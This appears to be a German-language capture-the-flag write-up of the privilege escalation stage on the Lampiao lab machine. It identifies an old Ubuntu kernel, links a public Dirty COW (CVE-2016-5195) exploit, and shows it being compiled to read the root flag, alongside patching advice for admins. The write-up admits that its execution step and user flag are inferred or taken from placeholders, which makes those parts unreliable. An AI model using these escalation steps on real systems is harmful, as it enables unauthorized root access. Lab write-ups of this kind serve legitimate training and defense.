**Analyse:** Der Befehl `uname -a` gibt die Kernel-Version aus: `4.4.0-31-generic` auf einer i686-Architektur (32-Bit), basierend auf Ubuntu 14.04. Das Kernel-Datum ist Mitte 2016.

**Bewertung:** Ein Kernel von 2016 ist sehr alt und höchstwahrscheinlich anfällig für mehrere bekannte Privilege Escalation Exploits. **Dirty COW (CVE-2016-5195)** ist der bekannteste Exploit für Kernel dieser Zeit (insbesondere Versionen vor 4.8.3). Dies ist nun der wahrscheinlichste Vektor zur Rechteausweitung.

**Empfehlung (Pentester):** Nach einem passenden Dirty COW Exploit für i686/32-Bit suchen (oft als C-Code verfügbar), diesen auf das Zielsystem hochladen (z.B. über Meterpreter oder `nc`), kompilieren (benötigt `gcc`) und ausführen.
**Empfehlung (Admin):** Kernel *dringend* aktualisieren! Veraltete Betriebssystemversionen (wie Ubuntu 14.04) sollten nicht mehr verwendet werden.

Proof of Concept: Privilege Escalation via Dirty COW

**Analyse:** Ausnutzung der Dirty COW Schwachstelle (CVE-2016-5195) im veralteten Linux-Kernel, um Root-Rechte zu erlangen.

# Recherche und Download des Exploits (auf Angreifer-PC)
# Beispiel-URL für einen Dirty COW Exploit (cowroot.c):
https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
                    
www-data@lampiao:/tmp$ nano cowroot.c
www-data@lampiao:/tmp$ gcc cowroot.c -o cowroot -pthread
# Keine Ausgabe bei Erfolg
# ./cowroot
# cat /root/flag.txt
9740616875908d91ddcdaa8aea3af366

**Analyse:** Ein Exploit für Dirty COW (CVE-2016-5195) in Form von C-Code (`cowroot.c`) wird auf das Zielsystem in das `/tmp`-Verzeichnis übertragen (hier mittels `nano` erstellt, alternativ per `wget`, `scp` oder Meterpreter-Upload). Der C-Code wird mit `gcc` kompiliert, wobei die Option `-pthread` oft für Dirty COW Exploits benötigt wird. Das kompilierte Binary `cowroot` wird ausgeführt (Befehl fehlt im Log, aber impliziert). Dirty COW überschreibt typischerweise eine kritische Datei (wie `/etc/passwd` oder eine SUID-Datei), um Root-Zugriff zu ermöglichen. Direkt nach der (impliziten) Ausführung gelingt der Zugriff auf `/root/flag.txt`, was Root-Rechte bestätigt. Die Flagge `9740616875908d91ddcdaa8aea3af366` wird ausgelesen.

**Bewertung:** Hervorragend! Die Rechteausweitung mittels Dirty COW war erfolgreich. Dies war aufgrund der alten Kernel-Version der erwartete Weg. Voraussetzung war, dass `gcc` auf dem Zielsystem installiert war.

**Empfehlung (Pentester):** Root-Flagge dokumentieren. User-Flagge suchen (vermutlich in `/home/tiago` oder `/home/Eder`).
**Empfehlung (Admin):** Kernel *sofort* aktualisieren, um CVE-2016-5195 zu schließen. Veraltete Betriebssysteme und Kernel stellen ein extremes Sicherheitsrisiko dar. Entwicklungswerkzeuge wie `gcc` sollten auf Produktivsystemen nicht installiert sein.

Flags

cat user.txt (Pfad/Inhalt nicht explizit im Log gefunden)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/flag.txt
9740616875908d91ddcdaa8aea3af366

**Analyse:** Die Root-Flagge wurde im Log während des Dirty COW Proof of Concepts gefunden (`9740...`). Die User-Flagge wurde im Log nicht explizit ausgelesen; der hier gezeigte Wert stammt aus dem Platzhalter am Ende des Originaltextes. Sie befindet sich vermutlich im Home-Verzeichnis eines der Benutzer (`tiago` oder `Eder`).

**Bewertung:** Der Test war erfolgreich, Root-Zugriff wurde erlangt und die Root-Flagge gefunden. Die User-Flagge wurde nicht dokumentiert.